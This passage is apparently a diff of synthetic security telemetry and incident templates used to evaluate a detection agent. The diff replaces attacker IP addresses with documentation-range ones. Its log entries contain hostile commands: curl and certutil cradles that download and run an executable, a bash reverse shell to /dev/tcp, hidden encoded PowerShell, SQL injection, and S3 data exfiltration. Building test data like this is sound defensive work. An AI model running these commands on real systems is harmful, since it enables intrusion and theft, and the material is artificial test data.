curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""+ "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}]},@@ -9077,7 +9077,7 @@"template_id": "s3-exfil-cloud-storage","template_index": 33,"title": "Cloud storage exfil: data egress to attacker-controlled S3 from K8S-PROD-CLUSTER",- "description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-45.142.122.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-203.0.113.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","expected_tactics": ["TA0010"],@@ -9092,7 +9092,7 @@"egress","exfiltrat","K8S-PROD-CLUSTER",- "45.142.122.111",+ "203.0.113.111",],"telemetry": [@@ -9107,12 +9107,12 @@},"sourceIPAddress": "K8S-PROD-CLUSTER","requestParameters": {- "bucketName": "atk-stage-45.142.122.111",+ "bucketName": "atk-stage-203.0.113.111","key": "dump/customers.tar.gz"},"resources": [{- "ARN": "arn:aws:s3:::atk-stage-45.142.122.111/dump/customers.tar.gz"+ "ARN": "arn:aws:s3:::atk-stage-203.0.113.111/dump/customers.tar.gz"}]}diff --git a/services/agents/tests/eval_data/synthetic_telemetry.jsonl b/services/agents/tests/eval_data/synthetic_telemetry.jsonlindex 4e389c158..d6095d87c 100644--- a/services/agents/tests/eval_data/synthetic_telemetry.jsonl+++ b/services/agents/tests/eval_data/synthetic_telemetry.jsonl@@ -1,4 +1,4 @@-{"incident_id": "INC-EVAL-001", "template_id": "phishing-macro-email", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "45.142.122.111", "Subject": "Q4 invoice (action required)", "AttachmentNames": ["invoice_q4.docm"]}+{"incident_id": "INC-EVAL-001", "template_id": "phishing-macro-email", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "203.0.113.111", "Subject": "Q4 invoice (action required)", "AttachmentNames": ["invoice_q4.docm"]}{"incident_id": "INC-EVAL-001", "template_id": "phishing-macro-email", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-DC-PRIMARY", "User": "[email protected]", "Image": "C:\\Windows\\System32\\cmd.exe", "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"}{"incident_id": "INC-EVAL-001", "template_id": "phishing-macro-email", "event_index": 2, "source": "edr", "rule": "Office macro spawned cmd.exe", "severity": "high", "Computer": "WIN-DC-PRIMARY", "User": "[email protected]", "threat_actor": "Lazarus"}{"incident_id": "INC-EVAL-002", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://LIN-BUILD-CI03/search?q=' OR 1=1--", "status_code": 200, "src_ip": "172.16.50.7", "user_agent": "curl/8.4.0", "rule_match": "WAF:SQLI:1011", "cve": "CVE-2024-1234"}@@ -11,7 +11,7 @@{"incident_id": "INC-EVAL-005", "template_id": "usb-autorun-airgap", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 6416, "Computer": "WIN-DEVOPS-LT", "SubjectUserName": "[email protected]", "ClassName": "USB", "DeviceDescription": "SanDisk Cruzer 16GB"}{"incident_id": "INC-EVAL-005", "template_id": "usb-autorun-airgap", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-DEVOPS-LT", "User": "[email protected]", "Image": "C:\\Python311\\python.exe", "ParentImage": "C:\\Windows\\System32\\rundll32.exe", "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}{"incident_id": "INC-EVAL-006", "template_id": "oauth-consent-phish", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "00000003-0000-0ff1-ce00-000000000000", "ConsentedScopes": ["Mail.Read", "Files.Read.All", "offline_access"]}-{"incident_id": "INC-EVAL-006", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}+{"incident_id": "INC-EVAL-006", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}{"incident_id": "INC-EVAL-007", "template_id": "powershell-obfuscated-dropper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Windows\\explorer.exe", "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."}{"incident_id": "INC-EVAL-007", "template_id": "powershell-obfuscated-dropper", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4104, "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)", "threat_actor": "MagicWeb"}{"incident_id": "INC-EVAL-008", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AWS-EC2-PROD-API", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://172.16.50.7/p.exe %TEMP%\\p.exe"}@@ -44,8 +44,8 @@{"incident_id": "INC-EVAL-020", "template_id": "disable-edr-tooling", "event_index": 2, "source": "edr", "rule": "EDR tampering attempt", "severity": "critical", "Computer": "GCP-GKE-NODE-04", "User": "[email protected]"}{"incident_id": "INC-EVAL-021", "template_id": "lsass-memory-dump", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 10, "Computer": "AZURE-VM-FIN-001", "SourceImage": "C:\\Windows\\System32\\rundll32.exe", "TargetImage": "C:\\Windows\\System32\\lsass.exe", "GrantedAccess": "0x1010", "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump", "User": "[email protected]"}{"incident_id": "INC-EVAL-021", "template_id": "lsass-memory-dump", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "AZURE-VM-FIN-001", "Image": "C:\\Windows\\System32\\rundll32.exe", "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp", "User": "[email protected]"}-{"incident_id": "INC-EVAL-022", "template_id": "credential-spray", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "45.142.122.111", "resultType": 50126, "resultDescription": "Invalid username or password", "appDisplayName": "Office 365 Exchange Online", "attempt_count": 1500}-{"incident_id": "INC-EVAL-022", "template_id": "credential-spray", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "45.142.122.111", "resultType": 0, "resultDescription": "Success", "conditionalAccessStatus": "success", "riskLevelAggregated": "high"}+{"incident_id": "INC-EVAL-022", "template_id": "credential-spray", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "203.0.113.111", "resultType": 50126, "resultDescription": "Invalid username or password", "appDisplayName": "Office 365 Exchange Online", "attempt_count": 1500}+{"incident_id": "INC-EVAL-022", "template_id": "credential-spray", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "203.0.113.111", "resultType": 0, "resultDescription": "Success", "conditionalAccessStatus": "success", "riskLevelAggregated": "high"}{"incident_id": "INC-EVAL-023", "template_id": "kerberoasting", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "MSSQLSvc/sql.example.com", "TicketEncryptionType": "0x17", "IpAddress": "MAC-CFO-LAPTOP"}{"incident_id": "INC-EVAL-023", "template_id": "kerberoasting", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "HTTP/web01.example.com", "TicketEncryptionType": "0x17", "IpAddress": "MAC-CFO-LAPTOP"}{"incident_id": "INC-EVAL-024", "template_id": "ad-dcsync", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectServer": "DS", "ObjectType": "domainDNS", "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "ClientIP": "AWS-EC2-PROD-API"}@@ -58,12 +58,12 @@{"incident_id": "INC-EVAL-028", "template_id": "pass-the-hash-lateral", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "LIN-EDGE-VPN02", "TargetUserName": "[email protected]", "LogonType": 3, "AuthenticationPackageName": "NTLM", "IpAddress": "AZURE-VM-FIN-001", "LogonProcessName": "NtLmSsp"}{"incident_id": "INC-EVAL-028", "template_id": "pass-the-hash-lateral", "event_index": 1, "source": "edr", "rule": "Pass-the-hash indicators (NTLM hash reuse)", "severity": "high", "Computer": "LIN-EDGE-VPN02", "Source": "AZURE-VM-FIN-001", "User": "[email protected]", "threat_actor": "APT28"}{"incident_id": "INC-EVAL-029", "template_id": "rdp-lateral-movement", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "AZURE-VM-FIN-001", "TargetUserName": "[email protected]", "LogonType": 10, "IpAddress": "LIN-BUILD-CI03", "LogonProcessName": "User32", "EventTimeUTC": "03:14:00Z"}-{"incident_id": "INC-EVAL-030", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}+{"incident_id": "INC-EVAL-030", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}{"incident_id": "INC-EVAL-031", "template_id": "bulk-pii-download", "event_index": 0, "source": "db_audit", "operation": "SELECT", "user": "[email protected]", "src_host": "LIN-DB-REPLICA", "database": "prod_customers", "table": "customer_records", "rows_returned": 4200000, "bytes": 10700000000}{"incident_id": "INC-EVAL-032", "template_id": "clipboard-keylogger", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 24, "Computer": "WIN-DC-SECONDARY", "User": "[email protected]", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "Hashes": "SHA256=abc..."}{"incident_id": "INC-EVAL-032", "template_id": "clipboard-keylogger", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-DC-SECONDARY", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log", "User": "[email protected]"}{"incident_id": "INC-EVAL-033", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.172.16.50.7.in-addr.arpa", "query_type": "TXT", "src_host": "MAC-LEGAL-LAPTOP", "dst_ip": "172.16.50.7", "response_size": 512, "qps": 240}-{"incident_id": "INC-EVAL-034", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "WIN-DC-PRIMARY", "requestParameters": {"bucketName": "atk-stage-91.134.231.15", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-91.134.231.15/dump/customers.tar.gz"}]}+{"incident_id": "INC-EVAL-034", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "WIN-DC-PRIMARY", "requestParameters": {"bucketName": "atk-stage-192.0.2.15", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-192.0.2.15/dump/customers.tar.gz"}]}{"incident_id": "INC-EVAL-035", "template_id": "personal-drive-exfil", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://www.googleapis.com/upload/drive/v3/files", "status_code": 200, "src_host": "LIN-K8S-NODE01", "src_user": "[email protected]", "bytes_out": 4300000000, "file_count": 812}{"incident_id": "INC-EVAL-036", "template_id": "dga-c2", "event_index": 0, "source": "dns", "query_name": "qkz3pl4vnxq2.com", "query_type": "A", "src_host": "MAC-LEGAL-LAPTOP", "rcode": "NXDOMAIN", "qps_above_baseline": 50.0}{"incident_id": "INC-EVAL-036", "template_id": "dga-c2", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "MAC-LEGAL-LAPTOP", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "172.16.50.7", "DestinationPort": 443, "Protocol": "tcp", "threat_actor": "Scattered Spider"}@@ -75,17 +75,17 @@{"incident_id": "INC-EVAL-040", "template_id": "bec-wire-fraud", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "AWS-EC2-PROD-API", "Subject": "URGENT: Wire instructions from CFO", "From": "[email protected]", "ReplyTo": "[email protected]", "threat_actor": "ALPHV/BlackCat"}{"incident_id": "INC-EVAL-041", "template_id": "public-s3-bucket-pii", "event_index": 0, "source": "cloudtrail", "eventName": "PutBucketAcl", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "requestParameters": {"bucketName": "aisoc-employees", "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]}}}{"incident_id": "INC-EVAL-041", "template_id": "public-s3-bucket-pii", "event_index": 1, "source": "cloudtrail", "eventName": "ListObjectsV2", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "203.0.113.45", "requestParameters": {"bucketName": "aisoc-employees", "max-keys": 1000}, "userIdentity": {"type": "AnonymousUser"}}-{"incident_id": "INC-EVAL-042", "template_id": "azure-ad-impossible-travel", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "45.142.122.111", "location": {"city": "Vladivostok", "countryOrRegion": "RU"}, "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Previously satisfied", "succeeded": true}], "riskEventTypes": ["unfamiliarFeatures", "unlikelyTravel"], "riskLevelAggregated": "high"}+{"incident_id": "INC-EVAL-042", "template_id": "azure-ad-impossible-travel", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "203.0.113.111", "location": {"city": "Vladivostok", "countryOrRegion": "RU"}, "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Previously satisfied", "succeeded": true}], "riskEventTypes": ["unfamiliarFeatures", "unlikelyTravel"], "riskLevelAggregated": "high"}{"incident_id": "INC-EVAL-043", "template_id": "ddos-syn-flood", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://WIN-DEVOPS-LT/", "status_code": 503, "pps": 1120000, "packet_type": "TCP-SYN", "edge_mitigation": "engaged", "duration_secs": 720}{"incident_id": "INC-EVAL-044", "template_id": "insider-mailbox-export", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-MailboxExportRequest", "UserId": "[email protected]", "Parameters": {"Mailbox": "[email protected]", "FilePath": "\\\\AZURE-VM-FIN-001\\export\\[email protected]"}, "Bytes": 8300000000}{"incident_id": "INC-EVAL-045", "template_id": "office-vsto-addin", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "WIN-EXCHANGE-01", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater", "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"}-{"incident_id": "INC-EVAL-045", "template_id": "office-vsto-addin", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-EXCHANGE-01", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "DestinationIp": "185.220.101.7", "DestinationPort": 443}-{"incident_id": "INC-EVAL-046", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "185.220.101.7", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}+{"incident_id": "INC-EVAL-045", "template_id": "office-vsto-addin", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-EXCHANGE-01", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "DestinationIp": "198.51.100.7", "DestinationPort": 443}+{"incident_id": "INC-EVAL-046", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "198.51.100.7", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}{"incident_id": "INC-EVAL-046", "template_id": "github-pat-leak", "event_index": 1, "source": "github_audit", "action": "push", "actor": "[email protected]", "repo": "[email protected]/dotfiles", "visibility": "public", "file_changed": ".env", "secret_detected": "github_pat_*"}{"incident_id": "INC-EVAL-047", "template_id": "ec2-imds-credential-theft", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app", "status_code": 200, "src_host": "GCP-GKE-NODE-04", "imds_version": "v1"}{"incident_id": "INC-EVAL-047", "template_id": "ec2-imds-credential-theft", "event_index": 1, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "198.51.100.23", "userIdentity": {"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"}, "userAgent": "aws-cli/2.13"}{"incident_id": "INC-EVAL-048", "template_id": "helpdesk-password-reset-abuse", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Reset user password.", "UserId": "[email protected]", "TargetUserId": "[email protected]", "ClientIP": "10.0.0.50"}-{"incident_id": "INC-EVAL-048", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "185.220.101.7", "resultType": 0, "seconds_after_reset": 87}+{"incident_id": "INC-EVAL-048", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "198.51.100.7", "resultType": 0, "seconds_after_reset": 87}{"incident_id": "INC-EVAL-049", "template_id": "oauth-refresh-token-theft", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "172.16.50.7", "resultType": 0, "authenticationProtocol": "oAuth2", "grantType": "refresh_token", "resourceDisplayName": "Microsoft Graph"}{"incident_id": "INC-EVAL-050", "template_id": "malicious-container-image", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "system:serviceaccount:default:deploy"}, "requestObject": {"spec": {"containers": [{"image": "registry.local/repo:malicious-backdoor"}]}}, "node": "AWS-EC2-PROD-API"}{"incident_id": "INC-EVAL-050", "template_id": "malicious-container-image", "event_index": 1, "source": "edr", "rule": "Image scan: embedded netcat reverse-shell binary", "severity": "high", "Computer": "AWS-EC2-PROD-API", "image": "registry.local/repo:malicious-backdoor", "cve_layer_count": 2}@@ -112,8 +112,8 @@{"incident_id": "INC-EVAL-061", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}{"incident_id": "INC-EVAL-062", "template_id": "powershell-obfuscated-dropper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-DC-PRIMARY", "User": "[email protected]", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Windows\\explorer.exe", "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."}{"incident_id": "INC-EVAL-062", "template_id": "powershell-obfuscated-dropper", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4104, "Computer": "WIN-DC-PRIMARY", "User": "[email protected]", "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)", "threat_actor": "LockBit 3.0"}-{"incident_id": "INC-EVAL-063", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://91.134.231.15/p.exe %TEMP%\\p.exe"}-{"incident_id": "INC-EVAL-063", "template_id": "certutil-download-cradle", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "DestinationIp": "91.134.231.15", "DestinationPort": 80, "Protocol": "tcp"}+{"incident_id": "INC-EVAL-063", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://192.0.2.15/p.exe %TEMP%\\p.exe"}+{"incident_id": "INC-EVAL-063", "template_id": "certutil-download-cradle", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "DestinationIp": "192.0.2.15", "DestinationPort": 80, "Protocol": "tcp"}{"incident_id": "INC-EVAL-064", "template_id": "docker-runtime-abuse", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "http://WIN-FILE-SHARE:2375/containers/create", "status_code": 201, "src_ip": "198.51.100.23", "request_body": {"Image": "monero/xmrig", "HostConfig": {"Privileged": true}}}{"incident_id": "INC-EVAL-064", "template_id": "docker-runtime-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/docker", "a0": "docker", "a1": "run", "a2": "--privileged", "hostname": "WIN-FILE-SHARE", "user": "root"}{"incident_id": "INC-EVAL-065", "template_id": "wmi-event-subscription", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 19, "Computer": "LIN-BUILD-CI03", "User": "[email protected]", "EventNamespace": "ROOT\\Subscription", "Name": "UpdaterFilter", "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"}@@ -125,7 +125,7 @@{"incident_id": "INC-EVAL-068", "template_id": "uefi-firmware-implant", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4673, "Computer": "WIN-PROD-WEB02", "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi", "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"}{"incident_id": "INC-EVAL-068", "template_id": "uefi-firmware-implant", "event_index": 1, "source": "edr", "rule": "UEFI implant: MosaicRegressor signature match", "severity": "critical", "Computer": "WIN-PROD-WEB02", "indicator_path": "ESP:/EFI/Boot/bootx64.efi"}{"incident_id": "INC-EVAL-069", "template_id": "cron-backdoor", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/usr/bin/vi", "path": "/etc/cron.d/zz-update", "hostname": "LIN-DB-REPLICA", "user": "[email protected]", "a2": "O_WRONLY|O_CREAT"}-{"incident_id": "INC-EVAL-069", "template_id": "cron-backdoor", "event_index": 1, "source": "linux_journald", "_SYSTEMD_UNIT": "cron.service", "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/45.142.122.111/4444 0>&1)", "hostname": "LIN-DB-REPLICA"}+{"incident_id": "INC-EVAL-069", "template_id": "cron-backdoor", "event_index": 1, "source": "linux_journald", "_SYSTEMD_UNIT": "cron.service", "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/203.0.113.111/4444 0>&1)", "hostname": "LIN-DB-REPLICA"}{"incident_id": "INC-EVAL-070", "template_id": "uac-bypass-fodhelper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "LIN-BUILD-CI03", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command", "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"}{"incident_id": "INC-EVAL-070", "template_id": "uac-bypass-fodhelper", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-BUILD-CI03", "Image": "C:\\Windows\\System32\\fodhelper.exe", "ParentImage": "C:\\Windows\\explorer.exe", "IntegrityLevel": "High", "User": "SYSTEM"}{"incident_id": "INC-EVAL-071", "template_id": "k8s-privileged-pod-escape", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "[email protected]"}, "requestObject": {"spec": {"containers": [{"name": "x", "image": "alpine", "securityContext": {"privileged": true}}], "hostPID": true}}, "stage": "ResponseComplete", "responseStatus": {"code": 201}, "node": "WIN-PROD-WEB02"}@@ -133,7 +133,7 @@{"incident_id": "INC-EVAL-072", "template_id": "linux-suid-abuse", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "chmod", "exe": "/bin/chmod", "a1": "/tmp/.x", "mode": "04755", "hostname": "WIN-DEVOPS-LT", "user": "[email protected]"}{"incident_id": "INC-EVAL-072", "template_id": "linux-suid-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/.x", "hostname": "WIN-DEVOPS-LT", "uid": 1001, "euid": 0, "user": "[email protected]"}{"incident_id": "INC-EVAL-073", "template_id": "process-hollowing-svchost", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 8, "Computer": "LIN-EDGE-VPN02", "SourceImage": "C:\\Windows\\System32\\powershell.exe", "TargetImage": 